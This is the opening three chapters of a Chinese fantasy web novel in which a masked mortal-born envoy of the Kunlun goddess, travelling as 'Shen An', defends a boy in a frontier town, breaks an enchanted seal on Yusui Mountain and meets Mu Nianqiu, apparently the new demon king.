《下仙山》
1. 仙山
传说东海之上有一座仙山,叫做“昆仑山”,昆仑山自开天辟地就存在,上面住着许多土生土长的神仙。
众生平等,可神仙也分三六九等,昆仑山上住着一位纯净圣洁的神女,法力无边,掌管着自然法则,能决定凡人生死。
人间也有一座山,叫做“白灵山”,相传每过千年,昆仑神女会降临世间,为万千生灵带来福泽和庇佑,而神女第一次降临的地方,就是这座纯洁无瑕的白灵山。
但是这都只是代代相传的传说,神女降临早就不知道是几百年前的事了,人活不过百年,就算是确有其事,当时的人死的死死的死,哪里还有人知道这些真真假假的传说呢?
有人说,神女爱世人,可爱世人又为何高居庙堂,千百年来不来世间走一遭,看看她热爱的子民呢?
也有人说,神女根本不爱世人,神仙高高在上,怎么会爱一群蝼蚁?但既然不爱,又为什么留下千年的传说,引人遐想。
众所周知,神仙不插手人间事,传说天花乱坠,却没有人真的见过这位神通广大的昆仑神女。
虽说不知真假,但祈求神灵,寻求寄托,自古就是凡人们热衷的传统。所以凡间百姓自发修了许多的神女祠,逢年过节,家家祭拜,大到风调雨顺,小到添子添福,神女大人全管——工作强度不亚于拉磨的驴子。
就连仙门世家也不免脱俗,每三年组织门中子弟去灵山祈福,祈求神女再次降临,为世间带来光明与和平。
神女大人忙不过来,就找了八位神使替她行走人间,也留下了许多传说。
传说神使的化身千变万化,各有千秋,可能是路边的一朵花、一棵草,甚至是一缕阳光、一阵微风……也或许是擦肩而过的陌生人,萍水相逢的他乡客。
见不到神女大人,推而求其次见到神使也是好的。见到神使的人都会交好运,得到神使祝福的人将会一辈子平安顺遂,一生无忧。
-
这其中一位,传说最多,奇葩程度旷古绝今。只因她的出身是大大的不同——她是一名来自人间的凡人,不同于那些土生土长的神仙,她是八位神使中唯一一位以凡人之躯入神籍的神使。
神山招募十分严苛,天时地利人和缺一不可,凡人成神,难如登天,被神仙认可的人,从古至今闻所未闻。
一步登天,从此脱离生死轮回,远离生老病死。
人人趋之若鹜,偏她不屑一顾,不是脑筋坏掉了是什么?
可这位了不起的神使,她说:“我宁愿作为凡人死去,不愿作为神仙永生。”硬生生拒绝了神山的收编,一门心思地找死。
扶不起的烂泥,雕不好的朽木——也不知道堂堂昆仑神山看上这个人类什么了?
最后,神女妥协了——不当神仙就不当吧,凡人之躯也不耽误干活嘛,何必斤斤计较呢?
人人皆好奇,既然是凡人,那她以前是干什么的?凭什么可以原地飞升?又为什么拒绝这天上掉下来的馅饼?
有人说她以前是邪修,吃了三千名活人的魂魄才飞升
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成神。
也有人说,这人才不是什么邪修,反而是大大的好人,救了三千名将死之人,才被昆仑青眼。由此得出,做人一定要心存善念,认真修行,多做好事,才能有好报。
更有无稽之谈云,这位神使其实是一名英俊非凡的男子,高高在上的神女动了凡心,对这名凡人男子一见钟情,硬要把他抢来昆仑神山,永永远远陪着自己。
可常言道:“萝卜白菜,各有所爱”。这男子偏偏就不喜欢神女,宁愿去死也不愿意留在神女麾下。
神女爱而不得,强取豪夺,硬是把人从黄泉碧落、三生石畔、忘川河里捞出来,留在自己身边。可强扭的瓜不甜,此人富贵不能淫,威武不能屈,神女一片痴心付之东流,只得退而求其次,勉强把人不咸不淡地留在不远不近的地方。
当然这些这种狗血的爱情故事都是一些无聊的文人编的,是野的不能再野的野史,当不得真。
还有人对此嗤之以鼻——神仙不分善恶不问世事,天行有常,不为尧存不为桀亡,哪里会管你是好人还是坏人?收编神使压根就和人家是男是女,是好是坏没关系。
这人一定是有过人的本领和超乎寻常的天赋,才能一飞冲天,不然神山为什么要收留一个脑子有泡,不知好歹的人呢?
众说纷纭,传言纷纷扬扬,五花八门。十年过去了,仍无人见过这位神使,不知道他究竟是公的母的,圆的扁的。
直到一天,在边陲一个平平无奇的小镇上,发生了一件鸡飞狗跳的大事。
2. 往事
平沙莽莽,远山蔼蔼,正是暮秋时节,枝头几只寒鸦寂寂,呈现出边陲特有的荒凉,远远传来悠扬的胡琴,更显出几分苍茫。街边零星几家茶馆旅店,供过路的行人休整歇脚。
黄沙古道上,一人独自走在乡间土路上,背一个帆布行囊,头戴一个竹编斗笠,一身黑衣虽然破旧,但很是干练,身长玉立,看上去像是名二十多岁的年轻男子,衣袍鞋袜沾了点尘土,他也不在意,风尘仆仆,看样子已经赶了很久路。
此处西临妖界,十分萧条,来边陲小镇上的外乡人多半是来去匆匆的行脚商贩,或者运货的商队镖师一类——都是为了生计所迫才来这边讨口饭吃。可来人却没有赶路的旅人该有的着急,脚步不徐不疾,不知要去往何方。
胡琴声越来越近,黑衣男子走到一间乡野小店门口,停下脚步,一阵风起,他抬手按住险些被风吹起的斗笠,抬头看了看招牌——“相逢茶馆”,露出斗笠下的脸来。
只见他面带一副雕花繁复的银质面具,遮住了大半张脸,只露出一截白皙的下巴,看不清长相。银质面具形状流畅,不失轻巧——哪怕是外行人一看也知道工艺精巧,价值不菲。纹路间仿佛透露出一股神性,不知是哪个种族的图腾,和他一身破旧的装束格格不入。
顺着胡琴声走进店内,一名白发皑皑的老者在角落里拉着胡琴,脚边放着个缺角的小碗,黑的发亮,不知是什么材质,装着几枚铜钱。
男子随手从怀中摸出两枚铜钱,微微弯腰,轻轻把钱投入老者碗中,环顾一圈,找了个没人的座位坐下,招呼小二点了碗便宜的茶水。
“谁说不是呢,自打妖界换了新老大,这西北边界才算是太平点,新商路没开通前,你是不知道……啧,我们哥儿几个过的真叫是刀尖上舔血的日子!”
晌午十分,正是一天中生意最兴隆的时候,小店不大,正中央坐着一伙五大三粗的汉子,看衣着装束像是来歇脚的商贩走卒。边陲小镇没什么娱乐,几人就着琴声高谈阔论。
“那这新妖王岂不是大大的好人,咱还得感谢他了呗?”一名年轻商贩接口道。
“你说的这叫什么话?恰恰相反,这新妖王可不是什么善茬,你们有所不知,这新妖王可是咱们的老熟人。”另一名中年商贩慢悠悠的抿了口茶,一脸高深莫测。
“老熟人?我怎么不知道,咱还有这么牛掰的熟人啊!”
“我说老赵,你就别卖关子了,快点说啊!”
“就是就是!”
旁边几人笑嘻嘻催促道。
“哼哼,这个新妖王,当年为了上位,可谓是忘恩负义,丧尽天良!”
姓赵的脸上一道可怖的刀疤,是早年与人抢生意时被人砍的,从此人称“刀疤赵”。刀疤赵见大伙儿起了兴致,放下茶杯,一捋胡须,一副说书人的架势。
“想当年——为了一统妖界,他先是亲手灭了与世无争的桃源山,夺取桃源山圣物——落仙杵,又使用阴谋诡计毒杀妖王,接着自己在妖界称王。不仅如此,当上妖王后第一件事——”
说到此处,刀疤赵戛然而止,吊足了人胃口。
“什么什么,唉你这人,老是这样!”
“你到底知不知道啊,别是你胡编的吧!”
“你们少说两句,快让我赵大哥说!”
周围人急了,纷纷催促他快点说。
“专跟自己从前的母家对着干——和当今仙门之……”
说到此处,刀疤赵却突然压低了声音,周围一圈人默契地围了上去,几人叽叽咕咕的讨论了一会儿后,皆是一副恍然大悟的神情。
一旁戴面具的黑衣男子就着八卦喝茶,正听得起劲儿,他十年没来过这里了,哪想人世变幻如沧海桑田。故地重游,听到这些或熟悉或陌生的名字,心中不免好奇,端起茶水牛饮一大口,默默拉着椅子往前凑去。
“啊,如此说来,这新妖王真是一条疯狗,丧心……”
“郭兄,赵兄,二位还是积点口德吧,虽然这新妖王行事诡异,阴晴不定,可是最近几年我们这些边界行商的人,不管怎么说,日子也好过得多了,从前的妖王可不限制妖随便杀人呀。如今法令完备,人妖两族互不侵犯,虽然每年向妖族纳商税,可再怎么说,交点钱总比把命搭进去强多了啊!”
-
“这位小兄弟,我看你眼生,你怎么戴个面具呀?”一人注意到不知什么时候坐到他们身后的黑衣男子,高声问道。
黑衣男子正听得入神,闻言忙道:“奥,各位大哥,我……我少时家中遭遇火灾,不小心烧坏了脸,面容丑陋,所以戴上面具遮掩一二。途径此处,进店歇脚,听你们说起这新妖王,一时好奇……不知有没有妨碍到各位?”
他一开口声音清亮,仿佛十七八岁少年。
“不碍事不碍事,大家都是来这讨生活的,有句古话说得好——百年修得同船渡,都是哥儿们弟兄的,别见外!”
“是啊是啊,小兄弟,坐过来一起歇会儿。”
都是来边塞讨生活的苦命人,众人看他年纪不大,一身风尘仆仆,七嘴八舌地给他让了个位置坐下。
“小兄弟,你家中遭逢火灾,家里人可还好吗?”一人关心道。
黑衣男子坐在几人之间,手指轻轻摩挲了几下茶杯,神色有些黯然,轻声道:“不太好。我家里……人都不在了。”
“唉,对不住啊,提起你的伤心事,怪不得你年纪轻轻一个人来这边呢,真是不容易……”
众人听他家中遭难,不免叹息。
“看你背着行囊,不像是本地人,怎么称呼?”
“我……姓沈,单名一个安字。”
“小沈,别怪大哥多嘴问一句,你这不会也是要去淘福灵木吧?”
“福灵木?没听说过,那是什么?”
“……”
“这你都不知道?不会吧?你是刚出土的吗?”
“我……”沈安语塞,还真让说中了,他四舍五入可不就是刚出土,哪里知道这穷乡僻壤的土特产?
“他年纪小嘛,孤陋寡闻很正常!我跟你说,这福灵木可是大有来头,万……”
-
“打起来啦!外面打起来啦!”一人吆喝。
“什么什么?”
“哪里哪里?怎么回事?”
“说是有人福灵木被人偷了……”
“走吧,快来看热闹!”一桌子人茶也不喝了,天也不聊了,七嘴八舌地冲到门外。
“不是……”沈安不明所以,打架有什么好看的?这是一帮子啥人啊,这么爱凑热闹……
店外不远立着一个神女祠,神女祠前,密密麻麻围了一圈人。
沈安踮起脚尖,探出脑袋,人群当中几人正扭打在一起。一群人七手八脚围殴一个十五六岁的小伙子,小伙子一头卷毛,目露凶光,龇牙咧嘴,势单力薄,双拳难敌四手。
这地方民风够彪悍的,好好的小孩儿打坏了怎么办?
沈安正义感爆棚,挤过人群,闪亮登场:“诶,别打了别打了,大家不要再打了!”
一群人战至正酣,开始问候对方的亲戚,无人理会沈安。
沈安看了看不远处的神女祠,灵机一动,背后勾勾手,一道蓝色细线飞出,引来一阵花瓣飞向神女塑像,木制的神女塑像唇角微微上扬,露出一个温和的微笑,仿佛活过来了。
“神女大人显灵了!”人群一片骚动,纷纷跪倒在地。
打架的一群人也愣住了,一时间不知是否该继续。沈安瞅准时机,上前拉开卷毛少年。
“诶,你谁啊,干什么干什么,要管闲事啊?”一名壮汉十分不客气地推搡开沈安。
“这位大哥……”
“谁是你大哥,滚开,快滚开!”
壮汉一只手扯着少年衣领不撒手,少年一脸倒霉像,仍旧恶狠狠地盯着那人。
沈安被推得一个踉跄,也不生气:“有话好好说,看在神女大人的面子上……”
“神女大人有什么用,能赔我福灵木吗?”
“你说什么,你这人怎么对神女不敬!”围观群众有人不满。
“神女保佑神女保佑……”
“快别说了,都少说两句吧,神女大人降罪怎么办?”更有怕事胆小的,纷纷劝道。
“我没偷你东西,你丢什么了,关我屁事!”那名卷毛少年突然大叫道,拼命地蛄蛹起来,企图挣开束缚。
“我说你这没爹娘的小毛贼,不想活了吗……”壮汉举起拳头就要打。
少年闭起了眼睛,拳头却没落到他脸上。沈安不动声色一只手接住了拳头。
“你……”
壮汉又加了三分力,可那拳头竟无法再向前一分。
“看在神女大人的面子上。”沈安温和地开口。
壮汉只得收回拳头:“这小子偷我福灵木,不能就这么算了!”
“你放屁,我没偷你东西,你可真敢说呀,就凭你们这帮人,要真有本事能淘来福灵木,我把我命赔给你!”卷毛少年一点就炸,一点儿不认输服软。
“你大爷的,你没偷?你爹我现在就上山掏给你看,看你小子还有什么话说!”
“去就去,谁怕谁?你要是摘不到怎么办?”
“我要是摘到了你怎么办!”
一旁另一名壮汉悄悄扯了扯同伴的衣角:“诶,真去啊?”
-
旁边看热闹的围观群众看不下去了,刀疤赵一看刚才一块儿聊天吹牛的小伙子也在,走上前劝道:“别冲动呀,都少说两句,你别吹牛了,你别窜火了,别回头两个人全挂在山上!”
“谁不去谁孙子!”卷毛掷地有声。
“……”
沈安彻底无语了,真是好言劝不住该死的鬼,这倒霉孩子嘴里说不出一句好话来,难怪叫人追着打。
“他欠你多少?我替他赔给你。”
“关你屁事,你凭什么替我赔!我根本不欠他的!”卷毛大声叫嚣。
沈安先给了熊孩子一拳头,手动闭麦了熊孩子,才接着道:“阁下请说吧。”
壮汉道:“一斤福灵木。”
“一斤?你可真敢吹!老子什么时候……”
沈安又一拳头。
“疼疼疼!别打我脑袋!”
-
“少侠不能去啊,这玉髓山太危险,这山,这山是活的,会吃人,你们去了,回不来的!”人群中一名老者好言相劝。
“玉髓山?福灵木在玉髓山上?”沈安问道。
“你连这都不知道?还大言不惭要去淘木?!我凭什么相信你?不行,还是让我揍这小子一顿吧!”壮汉一帮人道。
“这玉髓山再怎么样也是妖王的地盘,还是别去了……”
“我看少侠丰神俊朗,身手不错,白白送死可惜了……师承何方,家中可有婚配?”更有围观者打起岔。
“大侠收我为徒吧!”有人当场拜师。“就教这招铁锤流星拳!”
这拳什么时候有名字了?“不不不,在下一届散修,不收徒……”
“他是神使,刚才神女像显灵就是他弄的,我看见了,他……”
“不会吧?神使大人怎么会如此平平无奇?”
“我家小女年方二八,还未出阁……”
“不不不,我不娶亲……”
“不娶亲哪行啊!”
“我……在下修的无情道,不近女色。”沈安连连摆手。
“都散修了,还有这么多束缚,活着还有劲么?”
沈安:“唉,此言差矣,活着还是很有意思的。”
……
-
-
玉髓山脚下。
“我说,关你屁事啊!”
卷毛少年先开口,一开口就是一股子地痞流氓味儿。
沈安给他擦干净脸上的灰,少年五官端正,皮肤微黑,眉尾一道疤痕,眼睛圆溜溜的,长着两只虎牙,倒像一只小狗。
“你年纪不大,脾气倒是不小,怎么动不动就要咬人呢?”
“关你……”
沈安举起拳头,少年脑袋一缩,他却轻轻落下,拍了拍少年的脑袋,“来给哥哥笑一个!”
“不要!”
山峰处在人妖两界的交界线上,人迹罕至,未经开凿,目之所及皆是奇花异草,成为黄土沙坡中的一抹亮色,虽已是暮秋时节,各色植物高低错落,青黄相接,呈现出自然原生态的美感。
沈安手里不知从哪捡了块光滑圆润的小石子,边走边自得其乐地抛着玩,慢悠悠的逛到山脚下,只见进山口歪斜地挂着一块木牌,上书八个大字——“此地危险,速走匆留”。
他看
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着牌子,心里暗暗发笑:这是哪个善良的文盲挂的?一晃神,小石子落到地上,不知滚到哪里去了,他也不在意,仿佛没看见那块牌子似的,抬眼望了望蜿蜒陡峭的山路,微不可查地叹了口气,随手从一旁捡了根树枝当做拐杖,沿着植物相对稀疏的方向,径直往山上走去。
“你真是散修?真能摘到福灵木?”卷毛亦步亦趋地跟着他。
“不是,我是昆仑神使,神女大人显灵了,叫我下凡帮你们。”
“……”
“你要是神使,我就是玉皇大帝。”
“走吧,玉皇大帝,你不是来过?给我们带带路吧!”
“你连路都不认得?”
“对了,还没问,这玉髓山怎么会吃人?为什么大家都想要淘福灵木?”
“我去,你连这都不知道,你是刚出土的吗?”壮汉几欲吐血。
“不知道。”沈安一脸坦然。
一旁刀疤赵探出个脑袋:“所谓福灵木,是一种玉髓山特有的树木,据说千年成材,树身通体晶莹,状若白玉,触之温润,能看到内里有金光流动,带在身上不仅可驱邪避灾,还能延年益寿,此木十分罕见,有价无市,偏偏那些达官贵人十分热衷,黑市上一两万金难求。”
沈安:“你们俩非要跟着吗?”
“我……我怕你领着这小子跑了!到时候我们找谁说理去?”打人的壮汉道。
“好兄弟们,我不是想跟着诸位,是想劝大家回头啊!”刀疤赵接着道:“诸位有所不知,一开始想占这个便宜的人不在少数,每年都有组商队去的,功夫好的不在少数,可是每次十个去的有九个都回不来啊,侥幸跑回来的也都心智错乱,甚至装若癫狂,没有人能从那里带回来福灵木来。小兄弟,别嫌我多嘴,我看你年纪轻轻,实在没办法眼睁睁看着你去自寻死路啊。还有这位大兄弟,得饶人处且饶人。”刀疤赵苦口婆心,言之凿凿。
“自寻死路,不至于吧?”沈安不以为意。“诸位若是信得过在下,就请在山下等着,我亲自去摘来那福灵木。”
刀疤赵声情并茂:“我不是危言耸听,这座山晚上会发光,整座山上都是妖魔鬼怪,那叫一个群魔乱舞……吃人不吐骨头啊,啧啧啧!”还不忘加上语气词。
“还有还有,就前阵子镇上的那个……那个谁,那叫一个惨不忍睹,都是真事儿!”
“哪个呀,哪个呀?你倒是说清楚……”听到这里,壮汉有些打退堂鼓。
“行了,一群胆小鬼!都回去吧,我一人做事一人当!”卷毛大叫。
“嘘,别说话,你听……什么声音?”
“哪有声音?”
-
行至半山腰,暮色四合,山中雾气渐起。
凉风袭来,天色渐暗,落日余晖向地平线下沉去,前后山路变得影影绰绰,看不分明。四人拨开身旁半人高的植株,叶片上的露珠打湿衣摆,远处林中传来不知名的鸟鸣,白天还绮丽梦幻的山路一转眼变得阴森起来。
只听得身后草丛中一阵窸窸窣窣的声音,仿佛有什么东西不远不近的跟着他们。
沈安停下脚步,回头看去,声音却又消失了。
“好可怕……”壮汉小鸟依人,躲到沈安身后。
沈安不动声色,装作什么都没发现,回身继续往山上走去,果然,窸窸窣窣的声音再次响起,越来越近,越来越近。
他故意放慢了脚步,全神贯注地注意着身后的动静。
突然背后风声一起,一头猎豹大小的长毛怪物蹿了出来,直扑向四人。
“救命啊!”
沈安早有所料,不惊不惧,举起手中树枝划过长空,风声如利刃破竹般挡下一击。
只见那巨兽鼻长如象,一身银白色长毛,尾巴细长有力,四爪锋利如钢,一双瞳孔在昏暗的环境中折射出幽微的绿光——是一只食梦貘。
猛兽见一击不中,像是被激怒一般,在不远处踱起了步子,周身毛发散发出银白色光芒,顿时,所到之处草木仿佛被点燃,发出荧光,如同有生命般苏醒过来,在风中舞动。
沈安见状,微微摇了摇头,面具下看不见表情,似乎是觉得有些苦恼。
食梦貘是高阶的妖兽,数量稀少,能扰乱人的神志,大多生活在更西边的妖界,领地意识很强,一般不主动攻击人类,除非……
食梦貘警惕地提防着面前的人类,在三尺开外停下脚步,似乎没有要靠近的意思。
沈安:“堵住耳朵。”
“什么……”
下一秒,果然听见食梦貘张口吼叫,喉咙里发出一种十分空灵的叫声,在空旷的山上久久回荡,扰得人心神不宁。
狂风四起,大地震颤,漫山的野草散发出强烈的光芒,整片山坡都在回应猛兽的吼叫。
大事不妙,这是妖兽胃口大开,要咬人的节奏。
这要是被它啃上一口,不傻也得癫了!难怪来这儿求财的倒霉蛋们是“有命进,没命出。”
“啊呀!”
沈安随手撇掉刚捡的树枝,狂风下双脚纹丝不动,打了个响指,周身一圈蓝色光圈如水波纹般荡开。
一刹那,狂风平息,草木寂灭,黑暗中安静得落针可闻,食梦貘躺在山坡上,似乎是进入了梦乡。
“……”其余三人瞪大了眼睛,惊讶地说不出话来,齐齐竖起了大拇指。
“我收回我是玉皇大帝的话了……”卷毛道。
“小孩儿,你叫什么名字”沈安问。
“……武子陌”卷毛别别扭扭不情不愿报上名字,“问这么多干嘛!为什么帮我?”
“看你面善,行不行?”
“什么老掉牙的搭讪理由,你不会是想老牛吃嫩草吧?我可不喜欢男的!”武子陌双手抱胸。
沈安险些被逗笑:“谁要非礼你了?”
“我可不会感谢你!”
刀疤赵听不下去了:“二位别开玩笑了,赶紧上山吧!”
壮汉:“还上山啊……”
不等说完,四周又蹿出十几只食梦貘来,将四人团团围住。
“得,这下好了,想走也走不了了。”
三人大惊失色,齐刷刷看向沈安。沈安微微一笑。
“抓稳了!”
风景依旧,食梦貘面面相觑,四人竟原地消失不见了,像是从未来过。
3. 重逢
一阵天旋地转,四人直接降落在山顶。
“少侠好身手啊!”三人皆露出崇拜的神色,没想到这一届散修竟如此神通广大。
此时天已全黑,周围的花草树木渐渐发起了微光,不同于山脚下的各色花木,这里的植被全都是纯白色。置身此地,仿佛进入了一个没有颜色的仙境,山顶上长满了千金难求的福灵树,每棵树干都好像流动的玉石。
刀疤赵和那壮汉看见满山的福灵木,胆子又大了起来,顿时走不动道儿了——这么一大片福灵木,说是金山银山也不为过,他们哪有机会见过这些,一时间抱着树干,口水都快流出来了。
沈安叫不住二人,索性先随他们去了。他看着周围的景色,总觉得哪里不对,伸出手抚上树干,指尖一圈蓝色水波纹荡开,一刻钟后,他疑惑地松开了手。
此地的灵力波动好奇怪?
凡是生灵皆有不同强弱的灵力在体内流转,通常情况下,人和动物的灵力天生较强一些,植物的较弱。而妖界的灵气较人界更为充盈,但不同的人灵力的强弱和对灵力的感知也各不相同,所以有的人天生根骨佳,适合寻仙问道,而有的人可能终其一生也无法感受到体内灵力的流转。
此地灵力及其强盛,花草树木流光溢彩,可眼前价值千金的福灵树却探知不出一点灵力流转的迹象,平静的近乎诡异。
只有死物才会这样平静。
可这里明明没有死物?
白茫茫的雾气几乎和周围的植被融为一体,一阵风声划破浓雾,几人身旁飞过一只同样是发着白光的大蝴蝶,飘飘摇摇,散落下星星点点的光点,打破了周遭诡异的寂静,仿佛一盏指路的明灯,所到之处,雾气消散,露出曲折的上山小路。
沈安心中疑窦丛生,跟随林间的引路精灵,拨开露水丛生的银白色灌木。武子陌见他不说话,又不知出了什么问题,只得默默跟上他的脚步。
登上山顶,映入眼帘的是一片巨大的湖泊,湖泊仿佛一面镜子,把满天繁星装入湖底,映射出另一个世界。
湖边立着一个半人高的石碑,上面雕刻着“醉尘湖”三字,靠近湖水,一阵清冽的酒香飘散在空气中。
他走近湖边,向水面望去,水面倒映出的却是一个十七八岁少女的身影,身形与他相近,气质却大不相同——湖水中的少女一副言笑晏晏,笑语盈盈的天真烂漫之态,而岸上的沈安却透露出一股饱经风霜的豁达与沧桑。
看见水面的少女影子,沈安愣住了。水中的倒影他熟悉地不能再熟悉了,那分明是他从前的样子。
从前她无能为力,身死魂消,拼尽全力也留不住身边的人。
现在那些陈年往事早随着□□消亡,没有人认识他,没有人记得他,天地宽阔,来去自由。人间的事通通和他没关系,何必庸人自扰?
“这湖里是谁?”武子陌好奇道。
这湖里是谁……
沈安再清楚不过,他一言不发,不知道该怎么解释。
“站远一点儿。”
他索性装作没听到武子陌的问题,退开三步,收敛心神,起手结印,银质面具上流淌着细碎的光晕,面具下额心一道浅蓝色的神印熠熠生辉。一身素衣破衫,却尽显神圣庄严。
凝滞的空气流动起来,白色的树叶沙沙作响,平静的湖面泛起层层涟漪,打碎了水中少女的倒影。
霎时间,湖边石碑迸裂,湖面上一层无形的结界消散,露出湖底本身的样子,清澈得能一眼望到湖底。
只见湖中倒影消失不见,湖水清澈的仿若无物,透过水面,湖底竟生长着一棵苍劲古拙的参天古木。古木像是一只巨大的章鱼,粗壮的枝干盘绕在湖底的石壁上,环绕着当中一个方形石台,石台中央镶嵌着什么东西,散发出阵阵妖异的绿光,朦朦胧胧看不真切。
沈安走到湖边,蹲下身,湖水酒香四溢,浓烈非常,仿佛有种特殊的魔力,吸引人沉醉下去。
他望向湖底奇幻瑰丽的景象,伸出手指,一圈涟漪从水面泛开,瞬间,一阵彻骨的寒冷从他的指尖传来。
-
-
“领主,不好了。”
不知何处,群山掩映间坐落着一处院落,不同于边陲的破败,院中亭台楼阁雕梁画栋,古朴气派,透露出院主人不凡的身份。其间楼宇不同于中原的制式,辨不清是何材质,一砖一瓦流转着琉璃的光泽。院中花草掩映,好似活的一般,伸展着枝条,散落莹莹微光。
院内正中央坐落一间屋室,门外红光一闪,黑雾里出现一名侍卫,黑衣如羽,兜帽下的脸颊裸露出妖冶的紫色纹路。
“进来。”门内一道冰冷的男声。
来人推门而入,单膝跪地。
“领主,西方玉髓山异动,有人破坏咱们的结界,里面的东西恐怕是封不住了……”
门内是一间宽敞的书房,窗下放置着一方书桌,桌上笔墨纸砚一应俱全,桌后两面书架靠墙而立,摆满了书。对面屏风后放了一张床,看来书房的主人经常在此休息。整间屋子非常整洁,没什么生活的气息,透露出一股肃杀干练的气息。
书桌前坐着一名高大的男子,墨发高悬,衣着考究。一身宽大的玄色长袍,纹理细致,尊贵的金丝点缀其间,袖口暗纹繁复,遮住半张手掌,只漏出骨节分明的手指,大拇指上带一枚玉石扳指,手执毛笔正在写些什么。
男人眉峰微微上扬,眉下一双艳丽的桃花眼,瞳色极浅,仿佛琥珀琉璃晶莹剔透,散发着致命的吸引力,高挺的鼻梁让这张脸没有一丝柔媚的气息。
他停下笔,抬眼看向桌边,脸上没什么血色,眉宇间一片化不开的戾气,让这张天资卓绝的脸失色几分。
桌边放置一盏古朴的青铜灯,灯芯燃烧着蓝色的火焰,忽明忽灭,飘摇不定,男子出神地望着火苗,眉头紧锁,不知在想些什么。
片刻后,他抬眼看了一眼跪在地上的黑衣侍卫,开口道:“我知道了,你叫扶摇跑一趟,看看怎么回事。”
突然门口刮起一阵微风,跳动着的火苗俶尔熄灭。
“领主,这……招魂灯遇风不息,遇水不灭,招魂灯灭,是……”魂魄消散了?不可能是人还活着啊……
桌前的男人目光一抖,眼中闪过一瞬难以察觉的慌乱,旋即他又镇定下来,目光一凛,改口道:“等等,我亲自去会会他,不用叫扶摇了,你随我来。”
-
玉髓山顶,狂风大起。
沈安没想到会这样。
醉尘湖上出现一个巨大的法阵,以湖面为中心,八角光亮,连结成线,笼罩在湖面上。湖水泛起涟漪,周遭草木簌簌作响,风起云聚,天色大变,阴云密布。
武子陌睁大眼睛看着他。
沈安见此情景,赶忙收回手指,左右张望,心中暗道不妙,真是出师不利!这鬼地方为什么会有如此繁复的法阵?和预想的完全不一样啊……
他来玉髓山可不是做好人好事的,而是有任务在身——暗中回收失落的神器。路上看小孩儿怪可怜的,顺便见义勇为一下。
没想到上来就捅了个大篓子,这已经不能算是打草惊蛇了,这和直接在人家门口砸门有什么区别?
现在是走是留呢?现在走了,下次再来恐怕更是难上加难;现在不走,招来人也是麻烦至极。
他没心情哄孩子,随口糊弄道:“没事的,小场面,你站远一点。你怎么不跟他们去摘福灵木?”
“我又没偷,为什么要去!”武子陌炸毛道。
“好好好,那你站远一点。”
好在沈安从小最不缺决断,犹豫就会败北,既然来了,不如就速战速决。他扒拉开武子陌,花了三秒下定决心,脚下站定,手中捻出一道法诀,一道蓝光荡出,正击打向压住湖底的八角阵法,八角连阵弹出一道透明的屏障,在两股力量的对撞之下,仿佛玻璃般破碎开来。
巨大的气浪袭来,沈安被冲击波逼得连退两步,抬手护住眼前,斗笠被震落在地,在狂风中不知吹往何方。
争分夺秒间顾不上去捡,他正欲看清湖底情形,突然树叶和湖面都在一瞬间静止,身后一阵威压,空气重新凝滞,气温仿佛低了八度。两秒后,破碎的阵法碎片稀里哗啦散落一地,化作齑粉。
“什么人?!”
危险的气息笼罩下来,沈安本能地仓促转身,不及看清来人,一记暴击携卷着凌厉的风声袭来,他狼狈地闪身避过,来人却已逼至身前。
只见此人一身玄衣,手持长剑,杀意逼人,俊美的脸庞上不见一丝感情,剑眉斜飞入鬓,一双桃花眼如寒冰彻骨。
沐念秋?
看见来人,沈安却心神大动,这张脸,这个人,虽已恍如隔世,却怎么会不记得?
沈安顾不上应付,脑海里嗡嗡作响。
面前的男人不是别人,正是那个被自己亲手抹去了记忆,本该一辈子留在桃园山上的沐念秋。
怎么
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会是他?他怎么下山了?桃源山呢?他不在的这十年,到底发生了什么?
“喂,小心啊!”武子陌大喊。
沈安充耳不闻。
前尘种种浮上心头,这个不近人情,冷冰冰的沐念秋和他记忆里的大相径庭。曾经他很想再见一次沐念秋,可是现在,他最不想面对的,就是沐念秋。
以前他们也有过患难与共,生死相交的一段时光,可后来,也是他害得沐念秋重伤失忆,又擅自把他留在与世隔绝的桃源山上——甚至没来得及见他舅父最后一面。
平心而论,他不知道怎么面对。
沈安顾不上应对凌厉的攻势,仓促间左支右绌。
沐念秋目光晦暗,又一剑刺出,直取命门。沈安偏头躲闪不急,剑锋擦过,发带散落,顷刻间一头墨发披散下来。
见状,沐念秋表情微微松动,眼神探究,如有实质地看着他,终于开口问道:“阁下何不以真面目示人?”
沈安回过神来,稳住身形,手指却控住不住微微发抖,他背过双手,用力地用拇指掐住自己的手心,定了定心神。
不管怎么样,他还没认出自己——自己既然已经是个‘死人’了,从前的人还是……少见为妙。
沈安打定主意溜之大吉,不退反进,打出两拨气浪,势如破竹,瞬间移向沐念秋身后。
沐念秋似乎是没料到他会突然出手,实力竟如此强劲,吃了一惊,闪身躲过,身后气浪劈到成片的白色福灵树上,金光一闪,发出玉石迸裂的巨大响声。
“领主当心!”
二人身后一道声音响起,一个戴兜帽的黑衣人站在不远处。
迸裂的树干发出刺眼的白光,成片的福灵木连珠炮一般,噼里啪啦炸了个满堂彩,将半边夜空照得亮如白昼。
来不及准备,一阵巨大的爆炸冲击波将沈安掀翻在地。
银色的面具裂成两半,碎在地上,面具下露出一张不施粉黛的脸,风吹开碎发,露出额心一枚白色水波纹印记。整张脸清丽绝尘,凭谁也能看得出来,这是一名女子!
沈安没想到福灵树有如此威力,毫无准备地被炸了一下,大脑空白,耳边嗡嗡作响,浑身发麻,只觉胸口气血翻腾,心里不合时宜地想:这一下子炸了多少钱啊?
她咽下嗓子里的血气,刚一睁眼,近在咫尺撞上一双极亮的眸子。
沐念秋的眼睛亮的吓人,整个人好像突然活过来了。他小心翼翼地伸出手来,仿佛想抓住什么,又仿佛害怕失去什么。
不知是不是她的错觉,她感觉沐念秋的身体好像在微微发抖。
-
“你是女的?”武子陌飞奔而来,正想扶住她,可一见眼前的情形,顿时傻了眼,空落落的双手不知该落向哪里。
“他是谁?”沐念秋面色不善。
“你又是谁?”武子陌也不客气。
“……”
沈安最怕这种鸡飞狗跳的情景,从前怕,如今更是一个头两个大。此时她恨不得拔腿就跑,奈何事到临头,箭在弦上。
“子陌,先去救人……”刀疤赵二人还在林子里。
“你……”
“快去!小心点。”沈安加重了语气,她可不希望武子陌留在这里。
“好吧。”武子陌不情不愿地跑了。
好在沐念秋一个眼神也没分给武子陌,任凭他独自离去,不远处的黑衣兜帽男跟着武子陌一起进了林子,只剩下沈安与他面面相觑。
沈安摸不清沐念秋是否真的失忆,有没有认出她来,如果不出所料,刀疤赵嘴里的新妖王应该就是沐念秋无疑。当初她不告而别,没想到还有久别重逢的一天。
湖面结界已破,湖底不知封着什么东西,一阵阵不祥的黑气向上翻涌,冒出水面。
